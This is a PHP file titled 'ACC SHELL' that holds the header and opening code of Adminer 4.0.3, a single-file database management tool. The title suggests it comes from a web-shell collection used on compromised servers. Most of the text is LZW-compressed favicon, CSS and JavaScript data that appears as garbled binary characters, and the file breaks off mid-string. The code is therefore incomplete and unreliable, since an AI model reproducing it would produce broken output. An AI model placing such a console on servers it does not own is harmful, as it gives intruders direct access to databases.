ACC SHELL
<?php
/** Adminer - Compact database management
* @link http://www.adminer.org/
* @author Jakub Vrana, http://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 4.0.3
*/error_reporting(6135);$Fc=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($Fc||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$wh=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($wh)$$X=$wh;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");if(isset($_GET["file"])){if($_SERVER["HTTP_IF_MODIFIED_SINCE"]){header("HTTP/1.1 304 Not Modified");exit;}header("Expires: ".gmdate("D, d M Y H:i:s",time()+365*24*60*60)." GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");if($_GET["file"]=="favicon.ico"){header("Content-Type: image/x-icon");echo
lzw_decompress("\0\0\0` \0\0\n @\0C\"\0`EQ?tvM'Jdd\\b0\0\"fӈs5AXPaJ08#RTz`#.cXȀ?-\0Im?.M\0ȯ(̉/(%\0");}elseif($_GET["file"]=="default.css"){header("Content-Type: text/css; charset=utf-8");echo
lzw_decompress("\n1ٌ̇l7B14vb0fsn2Bѱ٘n:#(b.\rDc)a7Elñi1̎s-4f i7Févt2!r0t~U'3MWB'cP:6T\rcAzr_WK\r-VNFS%~c&\\^ruŎÞً4'7kQh'g\rFB\ryT7SSP1=ǤcI:dm>S8LJt.M ϋ`'C889 Q2#8А6mjh<9/:J)ʂ\0d>!\0Zvno(k7s>!R\"*nS\0@P\"(#[@gozn9k8n1I*=n0c(;à!*c>ΎE7DLJ1J=1L?s=#`3\$4uȱzGC YAt?;Qk&YPuǯ}UaHV%G;s<A\0\\P\\&ªV\nSUtr2 l^Z6ejAd[sնJPҝ8=6#˂74*#e!7{6<oC9v[M-`k>lڴIH3xw0t6%MR%jhB<\0AQ<P<:u/;\\>-ʈQH\nvL+væ<\rv\\*Ӵݢgn˩TЩ2P\rߋ\"+z8:#2J[i;zr3#ى:n\r㽃epdݍ 2c4k\rGE6_މb/HB%0>hoWnxl֍浃CQ^\r4lK{Z:Ã.pĂJB-+B(T%J0lT`+-@BۄV\0C,0tF?Ġ\na@Ɍ>ZECO-^Q&)I)R]\r97_\rF80Ob >\nR_8٫ov0bCAF!tă%0/zAYO(4 '] I8hH053@x&n|T)`.s6eYDzJѓ.{GEbӋ2{\$**@C-:zYHZI5F]YCOA`x'.*9t'{(wP=**xwr*cc|DV\rV.0Vd?Ҁ,E͝`T6ۈ-ڎT[ѐz.Ar̀Pnc=a9Fn!uA0iPJ6eT]V[\rXavk\n+Eܕ*\0~@g\"NCI\$Ɍx@Wy*vuD8=뭪-v4dDyIҤ_h'zVͶ6Yz:Qcڲw0]xr!@/-*5I.]Yxuo&:P|Cyֲw@LգGf؆)^Ƣ+Q5L4\$Mpo0i\rۻk4*w7S'Z݄nAb!1)oݖ9c\0bo-~2w4X,,8m'YFH3GqQZ-l\0wed5i.d)\\h~\\ẀLámgu2lbZC-6ꍖdlb\reMugra6ZDUʙ!K-09beH\"[J˝'Zoa)Xƃ&t8GZ.ژ+lr̯]k#j-WP,>@` \rc3\"\\Ҋq2z@Mpo0pd~OٙǦ]a;Ixxha͇0N~g? Lcuw}t<ÏŷqSv@gsW}L(kyȹ/6C8\r]\\LU^nqiQnT>A9\"kF.*߹TCr?:܄wM,\$m|xmBmu =[ yn'h@CvS2dSV (\">H{-GmMb+hBbcph_ }q֫e_min8#`m?~cDo ƐЪo4@<I\0``f8 DOzpM\0\r\0\"xh^jpppt0x0oPdbi<+0j`)SpL) 10,\n`jZϽpP^P0#)hxd0:++<g O`H\rb%ƏQ'-1P_\rc+@\rq(Gk1Awwonq2qd\0G\$ aO\01J'CԫL`\$qs=JGHF.0=1\0Q 7h3\n 12f`/Pq!0!p?q\$z,AWrH%pL\0\$%?#&q &s ڏ&P%M(''rF5ƙrM\$P*R(r7\0,1^F%&P_)-00\"Ĭ֞HBP#p ح+#\rppBRS2&2-r3nh0Jy%*V])G\r\"5,]6Q7\$3PM8rӍ\$s3Ge0 <8B8<,(8 &J;)R6p֭lG\"126˾.\"b7\$: 8bA1:';?;G*\$,n<`T/3f");}elseif($_GET["file"]=="functions.js"){header("Content-Type: text/javascript; charset=utf-8");echo
lzw_decompress("f:gCI\n0Sa9S`&(n0QI(.qO)̢㑔1E#)x8\n\\9D⹄d+g%(R,BqH' Gq.,2AGCy#LS\nL8n:SG:\$%;)ؙQGsE)NnMNS@t9L|1LTi3C {w0@wәΫw{J8\\C(ɨZj9a[ -;!H<`߅(䚱 +Ḫ2\rK9@`PP0L##j+ Eɒp9a;m\\8Cz^]\rð\\7C8_Dp^P\0̱w &c4^RN9D\\ܙj3@\r8a;Ml7d<3cpГ:)\\;Cц!6HT,4O=ц!pdTSs;c}&&ń5cYp1`IbKPRtf2X黛F-!\ricYWL\\Pޮ#r'b]^2C1(4&D*J<]:/T:tܿ7PaH^?(sƁs0PQ0?*\rb..2fO|f<k2L078!c+6fW#~<I+!-QH:!\"2 5Mm1+-f᳇8\\nF<څʁ\r#ꅎav>21N(<Xtc:'WڌRE8رp@ܠ5Ѩ(8/ѧb3~\"J;)^=dvJ'\r:öȧ[ ƘŃYvYCL(7aΊ zag2\\\rB%Q .HAI \r-%|/jEL;=o /LhC :ebTZZeAUNA@/ {npP^e+p\"\n@|i%\r<~oԙdrd{d&4P\$Č7u4[`Tyj߃Kc臖CuHvP,<\$\$20'fLͩ(L_B}@3\0c%LQ++%phɏMf:{s>ܹ%jL3 ;|fEuږ\0f\$r\rHS%Ѥ2l*4?<g%+Y:)Q=rm3єFj\rӔ:R*HG)0r)rQPԝCP<7V,I-I1Rm04]ZQt:'U T0M!K!ȳAxfPCآdkvTނTY;g:\rU'RU^k_Uڟ):>tY:d1'!\0hEkBFg]2UoV)nBucĕC2|6RcTJNHs{)l%b%|uN\0IԣI& -Wܹl;\rcC3GBۊ}jM42c\\KėHA\r`lwшaMDX)t\"tDbgz3iC0t a<Prg8G='{B8pn6H~d-I4+eY4CRu{[WgREoCӱyvgLO:n>M2ՙK[̵4Ie=h\"\$7emH7&홳2(xޡojebV\n+W`救-\nǷe֓^F@>M À;R^g@|Jq\n\n4XfNؼc(uaMȨvHsa@4P: ̭y,r4GI*C0+a' J*2TZb^up:4DÇPK!x a6L4R `:R\nd4DyȦ05*g%D8w4acUܷ3#rNToц&rn+\n+IFd`^&v(qZsLcY̧Gƿ[4X}Z~M>jy\0z ΓNn\nJԋT`BK\$Khp'@^`h`^+\0Hb-*m#NXO\nI?\0EJpb,F\07?0GJr-dz4a@Pʒi%d\0P\$a,%f\\L]8(4D fs.bV e6opojD\r4a.NlOOW\"\nƆ.>jd0 <Gf,pO\rCK01wRMp{x^b\rĶkq 1%O`+Ѭ2-j\"q.k:\r\0P+F#*>\n(Oʊ@[6-2RXZ\0\0*GBtWrmR1\r 0R\$mb}G m\0nnbu#QLr:#D-fcE!SBK\$dM\$&C\"R7%og2β:d\"P{K7G\"Q*#k%ځ\"Ryj?e\r+2H`\0\0,@0\$q2LȾ'Mc-@\n\\31S1V{-r/*`G{#%02>14\r61\"D6c.2S )Hw7vms8F)䬗9B0p6Nۋ̕DY7.4\rb3<R]\0S-͏9#0\nIZ_0:<ND@R\n#zq%8I\r9ǫ0F`Y*/+D͑4@h13S f)4CSnjSHZ,cunh\$E5`NiC9H&to~t5\":%KTK? T`a2: dԬ*!Nڃ4撔꒔DB\r@)\rOSk;s8]e>C<4HL4<@䘧]\0.0\"f;#nroĕtn FhH0 pKFkUlIxK\n}-mM]Z ~{Y &\r\\d\\\\Lbj\rq/])SP׳4lsE_ZZ-x`Z2.u\\U\0|D15\\\\[!c ^feH\r!l=RdoVc4Xv7L'e*rhgO@Jrefo^' ET>{OVc:z\0+Q!q!}T6-vVBh\rFƐڻJR~4*sr \\`P6*^P\rc;f8Bj#tRf%hys\n~;< At@tl tV<X\07\0@kLwwj ow7v b Iu.\n+u;i7/s&z~ob>q&6,` \n|Bq<6m[zևtwO6!#F[[E搆Z[q>8#N{(~\n~D(@\$Y\07_Byu\\hjFRca/K'e_{&&].N=4XBerGXfxK}VWrd}phkqqjx|X|T#Icb\\nBxX?S3*YZ Prgjp=)DDn/'8rzg\n\0HOԵk&\"8}NZ,.\0c_X+^\r1zBt6rRLUCd\",\0E\r: \$gb\r|48ӂf6Is+\n@ یhz*))9\rZ4610+HՒ|DYk\$۸`\r<(@MC(쇒\04E@|ees*\0xoqLp\\cr)+@~@\\P+,drŊxqs݊_8顅 W8<X}792\$PT}J; 2ڤ\\G;lq\0+:xc<gi1X\rͤSGr>WFF5(,q@m6s2#@rF=k\$uFV\nL/Cj\0@Ss()@frqgdjF.H%1s5I[ɐ \\@`{nRtE`z@o+>뼆3,}G`n`\r -d {|!(dX8c\$_V#Fn['\$t3l~1'D?[1/&e07\\E4O7hFL\0bXQ*\01D\0<\$q(ď\ntbcnCF\0`\$O1|0vyg;mo'c/-&IDm%\nRpO5\nd=0#=eF\\1`el<Sø;\ne΄H\$2(e8(VDQ2W۲{eviPvVR\ns䠑E\0.SzU4@e睐I*y4ݜ͞}\\/y\\x']j6`W<m{n]Ӫu|;WhحgnPެ xnFm CZ˛/̑1͛hV\$B(XXE@XyY8nsn\r7jQIC{<J\$c_/o7堕bJ^6r6(Nyp6ݘڙڝ<øcͤpM<\";l=džՍ96ǭOoF֖G7r:B8x侮C\rAٯN(nǰKΪXWG9鿎6 \$}iuN\rSDRP\n.TWn9N*\$Br\rBFܱ-\0S}}LJ`=&@b2]8V6ʤ~mS::o3X6OܐEIQװuzlC/\0%0@̢L\nX3ń.+ j\$x[g-Bվ!&9^\r\0f&]|`@E:K4_LƼ@8%C[V\rPp==:0̀IgM:\nG; WsXRaLD`5}1TA3h2#F?idЂGV AFBJU`@\r?ʚxfVIi%Ǒ8!bb;Ŕp]@D,\rSB!5U`̓ǡ4\r4 c*и}5eD>W%.Z%N^CdpNw!\08 \0~vJv6\0.yF2lvh6W|k\0Y%<\rk!G!5]q+i .09,z{&Z'\0TM@ǣ6th+F(\0y*Pc=%wQK!t pmp@HFИ4D Zx&E-/<B YD11ƈs``\"BMBs&Y;\$nPE\nO(8xH;s5 Tbx*h\")k~#\\g]}ka,!5+̋(B#I'af_c2QmzԞuJ`{@%@wLS'W=Iy\0a \0#\rDy\0 X_uĤ\0`CIuȑ)[D\"6N\0P ʶP5(WJX@(1'\rI\0P\0\"G4hs 2D{2썤dj9=NbMTs -&@]\r/HGO9%FV?FYZM*#%BLTHPi,<y4WZqd 2 Zf'BKҁe'{IRJ(LǴ7䟆L!70·ѐӖ\nv>䪎&D,W\0L\"&-Ng@5PVbXEP I)12\$h\0H%@@Za20xo'5E.5dX]?\0z0&c\011\\oD5%< t\ruq!@\\Ш>,?ܥ*rZGNk(1Ŏ(//2,c7 IX@ \"\0P\nt9L\0004s#,(P0+ H\n'xX9Seel@!o\01iue2e@p>=bL@ZDJÂ ]3r1X@kС\$]J#\"Ɋi%Dǀ%^B(sd\rHZu1DEBɖ2Ѧ40LuITYtԗhU|J0xs\\'M;fw/m\rC7C(ek\" BGՄ 5x8J]\$,ʨ\r;HU\$<0>*\0_\nX\0~|t@39Lx_ЈRs8xn\0P\"?/@f(4\0@@0QUD3]@I 5?m_הeh\\Mx<[OF'oc}2BL:U#Hdޚx\"\n/_31*lZ\0ҹ\0^xBZ*+HdBDLYǔ\n>\nG2&~e<0L)KYRq-HIKQW4V,UqAd*,N@江7o|ş<H7*Puc1>:Ϫަ uG\0t@wHS>+\n\\8 \riK>Z&>`p3`fKv. 4u>5i3bWr4Aa0e\n&?`['aPn\024Z)ȸcӃ.ӡS!FrYvJig## \$eH6TB9oҺhꈫ8`0h@]0¨UC(GHו\n/uleZTT{M[SՅ ĝA[0n1*fF>0]\0!6Bm\\(qoY-Sv{n/TДήUMxj5ne\0R\n)>*p&Je[Q@Wkc[Z%FʰՎ5*Prm&}:9fj.RD p'U8j\r-}0,XrXZZ<&Uu%LN@̪0up\"pzZW8<W)Q)?,{a'9V}\0\"jH%3OC>^~?+_yTs&IjXR6%DD_tYfYxuCeu:mHA%U:% RzV^ABdkm1_bmtzOVvqW2dLvc2OgC\$]6s(aӭx@&Z5?A\0Y\n9E٤#P[Ձar!O6ƶl4OkVV!TF:Y\\Yٞv.[6r\nA/䈃P^\0tM8\ri+Ef #[VA=`!jFŜ\nia7A,yL ֨tz1+ifZ0SGH6\r5;ZgAmϔ1+Onތ\0,H趠AJՏ&]\"P^a efmY\$v1m5\r\nNECZ].7=``K .Rm!mDJ(gԺ'uE(W )/g%ɭm jh\0)ߴ%8ÙW=Ш]4zsI였ކɤGGp\0\0\"fDK~PDNk=L-+\0Q::X)k4b9 _nW]W\\BRoXVp(QRV#Hb\0007NSMB\0f|rZy֜Z!k[w~^pwa[\\-j%l-;ThFgO8nh*4eۉV\0Ȓ((T%`)Z(;SY!ԐR23L+Iq[CO:0\rqX\$Q<U.BB8pz| =@'&\nk\".Ϡ#~+x]T@b0H N_ &Fݶ呁ɮ&Z\"Ȏ!dp`\"=apv߰2@\nT\"D7 Cs%-ؚ5t%7j(uGµIř[j)W)B7CZߪTzs,k Jv>4.\r~]C4 @# 6:ZjfР0a>&+,#v:V\0bvcEE]Uڏc_njU'ZLa*\$\$~*|kؖN9xT8CyV`!=R/\nEB SirUWA=DZ5bLJ!c 6heO %&B%a[KL\"'ҐG;žp tE\ngT.e0@L\0\n {=V2P?ϓTƜ`H`CPG52ؚrW67O Զ KF[Õ\$ h!꺡vQ/fP['X\0+̚b.eЎ);r,,:!+Gt~v!gPXiJ6d#,@05[L@Ip\0\n;(ɦ81Dߤ;\$]>=P^sSrXiݒG6k\n@R1du)l^+A&S2_\\m6j\r\r<=`nUQ,jz%4kϠ)ZB^hMrq<|Xn ^^raؙ(l,x}xy*'Hhy}Ҩ_ahC?̈́\"(:XS0`W>тpP&fO@nd]>4>Væ+\\2v'(9+TaQ|Ff3saTTZj\r4HiR4\$\$Wbl)S0.bHPEؑP'8,@W:0Zҡ,gF``Z\rl/T0p\r~8xH| tuP-xJZky=ZP,|y@CD&ncZ>x.F!I^>RbJStK\0'nS!XdbF@TZ'\nS\n\\\nvlD6C=ec/{?#l 286?l4qxbi@@Q^֎FqD{ؤԶ-~`\r\$}uTcgP~RW:q;mqbl[Hv@=kx6&WZ*G_i!\0cp8;'m }V5@g\0h{پvodY im#u;lfۤ7U܇ٞӽۓU{>n}GjAe\"\\KNPiU0|?2NQQ.RJu\rg֩\$#kS-e๔O\0VШ{M57=Hr#\0_)@#PM^R`+oarp v<Kk1ۘbp4\$;e;La\\fJ@BЇ\"\n\nO@-\n\\9jq>5B IMx=OA^7`G2:;zS6AZ+\$4V!\"B&k,0%2\"O7\rm[1>>1;\\p{Vŏ#'wBg)9\\x}7*[HΉs4,TĚew+ͧ_H@:7ȧͱtbnvgG9t`8=p̈́p'N48XqLȸ:wd\"FP@\\^+w3Pxֈq;Kn%m洨-");}elseif($_GET["file"]=="jush.js"){header("Content-Type: text/javascript; charset=utf-8");echo
lzw_decompress("v0F==FS _6MƳr:ECIo:CXc\rJ(:=Ea28x?'iSANNxsNBVl0S Ul(D|҄P>E㩶yHch-3Eb bpEp9.~\n?Kbiw|`d.x8EN!23\rYy6GFmY8o7\n\r0\0Dbc!Q7Шd8~N)Eг`Ns`S)O/<x9o3n2!r:;+9CȨ\n<`b\\?`4\r#`<BeB#N \r.D`j4par㢺>8\$c1cc{n7ANRLi\r1!(j´+62X8+.\r!xh'6S\0RO\n1(W07q:NE:68n+մ5_(s\r/m6P@EQ9\nV-\".:J8weq|؇X]Y XezW 7Z1hQfuj4Z{p\\AUJ<k@ɍ@}&L7UwuYh2@u P7Ah3ÛXEͅZ]l@Mplv) HWy>Y-Y/hC[*F#~!`\r#0PC˝f\\^%B<\\fޱ&/OL\\jFjZ1\\:ƴ>NXaFAfh{\"s\n64?8^p\"띰ȸ\\e(PNq[gr&}PhW*r_sPh\nom#.\0@pdW \$ҺQ۽Tl0 HdH)ۏ)PHgUBe\rt:\0)\"t,[(DO\nR8!Ƭ֚lAV4hSq<@}gK]]=90'wA<a~WD|A2XU2yŊ=p)\0P sn3rf\0FvGI@%+_I`\r.NKI[ʖSJaUfSzM%\"Q|9Bcaq\08#<a:z1Uf>Zle5#U@iUGn%Ұs;gxLpP?BQ\\b龒Q=7:ݡQ\r:t:y( \nd)\nX;CaA\rPGH!@9\n\nAl~HV\nsիƯbBr3\rP%ф\r}b/Α\$5PC\"wB_UgAt夅^QUjBvh졄4)+)<j^<L4U*Bg*nʖ- 9O\$طzyM3\\9.oE(i7 tߚ-&\nj!\ryyD1g]yR7\"~)TZ0E9MYZtXe!f@{Ȭyl 8;R{8Įe+UL'F18PE5- _!7[2J;HRǹ8p痲݇@0,ծpsK0\r4\$sJ4DZI'\$cLRMpY&iz3GzҚJ%P-[/xT{pzCv:V'\\KJaM&Ӿ\"eo^Q+h^iT1ORl,5[ݘ\$)N\n[b|;p74ܔ¢IC\\X\n%hI4gP:<k1Q+\\^咠VCW`83B-9F@nT>lj-&`9qPy6\r.y&ảE80kAVT7px)ޡ~M!EtP\\ϗm~cB\\\nmv{9`G[~xsL\\IXwy\nuSc1?A*{ͿvDT!%XK'[ӛ(,3[ȳ>]N!;rT`\nL\n)(Aa\" &P@O\n師0 \0 0^RJ\0@@\n`<F*|*/XM*n/\n&ޯkx\"m8ȋ(xidn)p-%(γP\"><&ʳϦ.OQH*ʑnЌC.Jx.dn\n/O p p\n0p-ι\nfbin=lкPO\0NFOp<`\rpI1 @+QY]M\\\ng\0\$Ou8W(lKjN&j!H`_bh\r1n!Ɏncq5qc\\\r`V_k\"]1x@ʾ`AŦV`\r%\rk@Nj͚@ kFJP>Vԍp\\%2bfm@G(?MM\\hb/jD}(VKˠKL ¾!IWr \r\$̤ʀQRp%tdJHNxK:\n %fn(DM [%T\rr.LL&W/>h6@ELPvC6O:Yh^mn6nj>7`z`N\\j\rg\ri4 \$\"@[`hM4q5\$\0ֵys@`D\$\0QPH1&\"~0`\nbG) Y<\0[<NdB3؉*\r\0c=K|7t`O55?\07`C@\0W* >N<g8P7S8@{=L.3D\rŚ *,rgI1@/Mo2]3XmL4eBUtm5ԙ@ecGiE\rFG4#S%QE@H(ӈ <g,V`R]@4r7sGKAv25\rVP\r\$<b%(DdPWbfO x\0} lb&vj4N4ִ5&ds` M6l\".HM2-31Ns</L `اBUF\"UJI5OSm3SLDg5sjM|5\$s\$*pU,btD7@?\" \"h}Q4F4@y@)0o<>]JnƿsLGPjM^V\$]PusE@xyLHƙMd5Z52f k!?`J`ISN4'ƚ**`>`|0TDJFxb\rTLTؓW5ܷ=z`ZJ gǺ Cgci\"mcAr*Tl'mqz llmLlvm\r8Ɦ kRYSAC4⠓p)Jk-N\n99hvYBm;u@<FѠejĦV+CY\00砿\\q1=kF9\0KG*rh]v9ba(pL7Η&lZ-Mw|Lr@iU{|lЍSB\r@ h*BD.7*3/a\\5bp#zW?}`O}@遭~\$ɍk;aQaD][pfw\"3 M|*տ!\"`|\0u\"z8\\2t(ʂ-\\,ʷ*rVRO-8sqSwx:-voY\0Qtٌ0AҰ0xW2UonYvEȭ=IPMP\$U8lx:1s,Sf6̂t/l yzˌK\0θ,)) 6^x!w2ϓYdjY9a6p5\$D\$?Ѭ´]dfom3L{VƅrxXW٫DAeٽǓYB1\r 8fx M@ǂ%Z!%e]Y3QW˔8[eOXYNUQkL=AQ9l^33yM:LzItX.0,#eMz\rkRQm6[Z? |+Gf6X-Ze{>O;EzIN!RJ\0ÝpKhfm˚w-\0B+9_:xZ ;>yڗ7}}|WٯEu`J7|X劸\" WtJ,8\r;,+mY\r}}zǿ_8bi5=p+UL:{@*<#-\r5y @Z|l'ر7ON?U%u6}\$}x!U]@MYhό9̙xϹ9Y(ňǍSH1\\;55#˜?@C̍)D@y[;z˝oq8LL|; ,y D҇-qJ:GMּXL\\;U{+żeyb9j5okMk[f(\0dĚ\rMኜ|rK#J\0M7'=_1=5>+^5Zk^SX強2`hED)[|)˾a^\n+>qu*(pM>m<uMnT8TM>g=qEI7>~+mS%6\"IT5\"4\r^\rkKe{j{(rOT=.|H\"ef~~\\XRETdԊ w#q\"C0T<fM8:'U8w J @V4d~p {>d~S^\n7`@If7=ApRdn*myR ,dBg'\rH~b1yTR|m4yޖG5Uʞ&=DynƜ%/zug/\ndU?\r@,,ؠ߂ɸPI(9ؘ7\0|c䞆ɂ60>W!/S LǢ!ORb]WB驄y2^n[r[7U\nQKaR }\nnSQHM>7:\0P]FUS\n:8W5 K>JA\r\n O2aa >Ry{AZv=_Щ4!Zq20) ާ9TOw0V{\"NH!b&V!D:z8s+ !c`u0\"o`8n4]AR45ꄲT\n\\\0 \rTآ\0kfٱеĹ_o(&!F*bdwȡLe.!\$fz>1lU.u@tV;GB]Jw!L^atJ/,^8m]伡\"r&(*zݰN(XՀ)E*nؗT지\\Gx7p@\0(0TO@tmC`-HD:4ѨcV'@\niS`3t BP@7hPˍ\\ssT\nюmc@!<Yu#* ODt*\"<ލ\\|O2gG>p1-qcX\nQ,Ah!,\n Udl@N,- c 'NC o`d\"Ǩ ȑTi(aH-O(\"{F71Dm YǺ?1q HG9V\0?p UO':52%\nkBFF?jF 2\"X)6L7@@@ )n%9ɢ5dd)I3n@J,\\ɂPcc='Or\0Z.SQ#q%\$0J=<|SA<:pwԞa0ԡ#02\n,'H21oQsR bř]ͲgW-wޠ\"bE@-Af/b#%-{,ނ++zY#e+oq{re{/Kr^e/}_q L03 LaҾwT A&R\n,)s\0I^2q\0\\I@ K(#peC*!>/%|ʅ̓ގ\$.mX@R0cЀ!IHU_\05)D)\r#5?rfgrIܹv3]ۘ%&n`\$LeͶ]}ٽg\0vps\r[Ma Wˡ'{H*fU@9! '-@_.I3u;;)\0v<Liθ lMI ~z'i<耾zdl4v3~Ð)\r4bpdIOi\r؈؊6x _%<O@Y˒Qà `.\"x@-ta2BC@JO~4\$saA\0PJS`A|iO'\$PJل(cXƈ(\$\nSvPɴ\"\03~'\\3 6q\r6B7VLPaEmh\"N\r؇(NF(lWrQmn.f\0U62|\rh%:ͽ6\"҂QQmwYF+>BDKvHeM\0gJ\"M5d9n0\$'\04Iҙ)铅6-\0(*Yn<QTmpQ{)Jdyi{u GbQB.]\"e'2ԍ+S{@^M#ޜrkH\n*>!\$'6}J9@Q&<D9LfS,),Rd +B!F*.BijNR rI`f@\ne+9J:b}==N{SX[u(UD]Osڛ\rN_SEQ֨5)jS4Ve\rDMWVfvUP&D5cXmGnX)MVE+%,T>kJ\n+0\0006**E>\$qh@O\ndPYZbVN\0dB\05E;FuHI%\0h?= 2! (!^*&\\n+QIj&AB`SMɁ\ro@6WBB{@_ )Һ%MfW 䶘_ΰv@{`P:%[%{C\na8;AƈTn\0#NahéJ6jFZ57VuC`\0S0uM%;D0\raayX\rkoKMdbIulUep\r^ջd*fH_<-(h,RX{%\rf!DoSJF4fHuli.ٌ {`qƳqxZ4ٺЖw*աh[%luq] 2E={F6x\n*I*uIv+5uMtG^ ˨nkF\0\r֧[gіI#CK]8# J\rܰ4,('CV)kT[>жbjA-<!Mpxj@t)A\$α!>\raMkr;5ȶ5]ӏ=@k);o[ԕm\\#jP5+NR+\"\rdK2!ƲqܧihkYB[[9VCɽ@xl/4-Į.̺f*E\0\0.wC#,NT 8j%8SvAf^ \nFZRh\0P7;k@<HF5`\$\$7JJAj \nۼ\$!L~/2pJ2mVfEu+ޔ\rJ.%hQBe씵jYtͨ[;PY\$Z=e/i8;т\nMzRGߜ\r(C+p-6};(ȷY*˂&m;+DӾukJC|.~ZVػW`Fp1}Zb&%1H|,DeH\0ۇ6%a+C5D)\0pj}Цaڗ6 E'|1GRڤhBHd'cL# .`HL6H(ՆW/\"NJN\rD⢦~M.B,^FPA0msW\\Diҟd)ũz^ekpHp@auq#/qZ\\W:U%Er,- x#/I#\nG19\\e6ԋ9W@rXϯaG\"P;<\$,N3\n=*@\"G!\\К,mp|q\"L6\\B[RC1M{Ym])l\rm1U2.3`#yGrl(8,*R#7=rK[!mدJCIabTLClK??\rFRt!a٧FG!Cv2\"qW^7FR\0f*A\nH㤾)9=\\+`=\"}>H\\p;НN)>B'\0#%Y+')^{%@TʆJzҢ]d#qX&࣋{4)?@s\"O A93L\np&py0 @p%'x)s%y,\0wP+R9<iINs{ni93y4{})CZCg\"f\0[P9NkZYfY\ng\0gthYO(^s&}8@p\$~\n\0v0K>4~lƆˀ39;{d;lШ&FTI|aÈ؉&N'?6O4!'3W)\0v2 4@]RL.V֏4\0JҾ%Py}3?mBDuVH,O5vO]6A/njGe`m6u?<}Q[Tf/~osG,7 -ȴ <P;X!ixߍ 8nu kƚ`S9}nd.lD_g[0&R[0¼ygY\\,\05-ykRO>YWֶ9la!EHu\\9\\Xz1V\"@dsÆ'`[1n @fi1AvwXR%ht!kpd.\\niچN4LB?\rv'kc\n \\M͐״f6Ƹ\$KC,PXpatO0d;\\į\n[0p@ZPlGaڮ&L9O=>\\=ip0vۋ99BUi3@\"Cc2G(!賶aB L5U+w6\0Nv`bݽz\\YAwCc>73d9n7Mu~ߺwf,[x\r-7~\0o&LGǀhwXn;9ܸ+ '&Mj6p2h>wgÉ\r52f!ǭZK>r8]uBS8f1m_MOVӥ8m%KkE>aq\"Vz+q~MIBk#.ą/u#\0#@[rnr.ۜ!a8`%nʹ#\\Ih-W(93 n#sBp^{V<pۅts`1[09=˞=p|sN;p~J߿-7(k\\ɐyr\nPT|G77!<)a\r,gB\$E.:?|w\nl5J>}{]jnKWta1=ol>_`8mLPnEh=oG7^Ӥ>y6OmjsfsӾx^n[~1WܵHR ^d\\q}z]={v\rZH`q7Pr8mOwܶ@=Ä?2]UjSO鬃fk/jW cu}`PcSpz{1!,@z9@t۱؏Zu^&:ɮϕr.6GWp{cNGz+NP ).wX}w\nCq^ݣkǰokwݮۺ=N`@wo\"P3ݿ︢;߮w\0}Bu7u\rnz<x;oⴅbS/Cx2\0E)Ovt<?x>Ǎ6Nx?ÞIs(K0|mS/&_| ?s>Y,?7&wj|U\r+,3x7*DzcxQV^|#si%\0H b~|yОBSp|}s.qM]Ig\rՐO5ikT}:_?+~o?wbdn`x<?Hw~ci1Gۯua҈@s\nA\nd՞p),@s+-\"X+/OfT%O@oy)H'}C*xw~/w`[<\0&,a\"~0&C:>/{3.ȷs7\0VxuAoZMgi-~0/BăY>HS_\n~1r{ܡGV5O`:>|+7cI&7>s|`P?p2o\0?'@z?~* [}g\$P)\"J[Tn\$: \$?o\"ޏ~</p#COO)O~_?iWP?+\0C>jo;,\rP_0o>rNd\0jx\nO?\0000uJ\0K`'x4'/?/\0KoʾsϬ\$!3믂s#?\0\"׳< \093#)@v?\nx?Hch\0jD0)jO<`#0%(03\0 ,@,K\n@T\0):뤲C\0@5@*=DIA [@+\$L=@\0\"E@ AO\$I5#D;\0'oP^V/\0@bB(@N(\0\rfJ;@OA{8(\0Z4Pn\"pp\rAV@\\\0@0t\"py??\$?(Atϱ{)D?ZC\"A\nt@cEwA`\$\"Ѭ#JEPk\0<#CBL@tYLB 3# Xi\n\"?E`,?|A@3ѫ8O#D?)\0\0&&¸o#B\0|)%A Oя*l=p >@T/@/V\0>#t \0)b1/ЍAz6sC0?(Od\$D=ы:@\r0Ŀtы珟IPۀ9,値Ov?\nPC\n[4\no@i#ÙX*, 7l:A \$;p\0VrEpv:lë\"|2d' У>=VB30t,øXC*ЩCd1Ph\nG ?{psD\n,p7 8 /#DC\0*D\$DC?QTEPGD>FD! \0H~?O\0)Cv?E\$BdFc?>,;\nc,q)E#EOm>\n\$B5@r5?ѤKi??\0wLIpa;A,,\0h \0%w4j?sH|JBx0>*\nc0opO4P\n2EW8HñB4p\n3;IP>?[:K#qr=q1oR<CEd\r@*.dx o?C\0k3P SC70%tU@,\"\0*\0+`>=^1y\nd^hE(#1wP `*C*фDb\nl?;Pt]@L\0\$mdcQ?#\0Bьd(DdhAx8\0N\$PD!C\0k.#﨣M<hƌOQƞhFƜqiq)\0JT])ݠ!>5<e?^l뤯\r\\\"BT\n>0cзA\nEe̐{EC:9-U \r\$H-TN)(t\ry F,fP[s:\0vFJ8,4@Lw(#wv`/CA S Q Cپ3LnlH0A?da1rA \nD\"E#k`!!O4fa\r?E##GS))F\$o\"č\nl.p?\\vQ\0P\$\0bK\n@/t?txHA!xCO!+Q#>8A8Au\nD15\r\\RRg!KH :,##4jQ)0E3x pH,x\n\r`0Bΰ /lvA%>6?T}QF\"4QDZX܅0j<H֤\\Y @_\0ϩ^wFb;Q-D0TFQC@*`̆dž?,4 qCH8@BQ<%Pÿ4ct1=\0\0-?mmhH4bC`K8*ED2Ѭ2 ]|nH!\$wpʴd#U\$XPc_'4@,?\$KOD)ɩ\"G\04Q#1Ì|x?K(\$RHBO)+-rk<)ǮO4RB\"Gn?>NR\rk<AK(AD`\n9DqLs*2(DpF#h?(#C\$\"Ep>?t,.NC4N\0lO\$m>\$\$@7H`c9( \\2\\A!@@[F^xcj3ARZ'`\r \\\ryd2\n<+0#<7Q-<,>-K@<T\0adH\$JS+\r k-\0r<@sR f\nh\"6ȓbD<Dɂ 6Lr/\rK.M#jFzg/D]\" OXp`)䨑5F\rB#\$:xp \nkL 3TsP\$Vpi+It0@Dųŏ1@[-@ƳÑ1K8CLE(@I\" 2ēLN|X39 7rј\"2)评*W8,8!\n 3L\$9,C<:Y+Jŭ],oK+dB 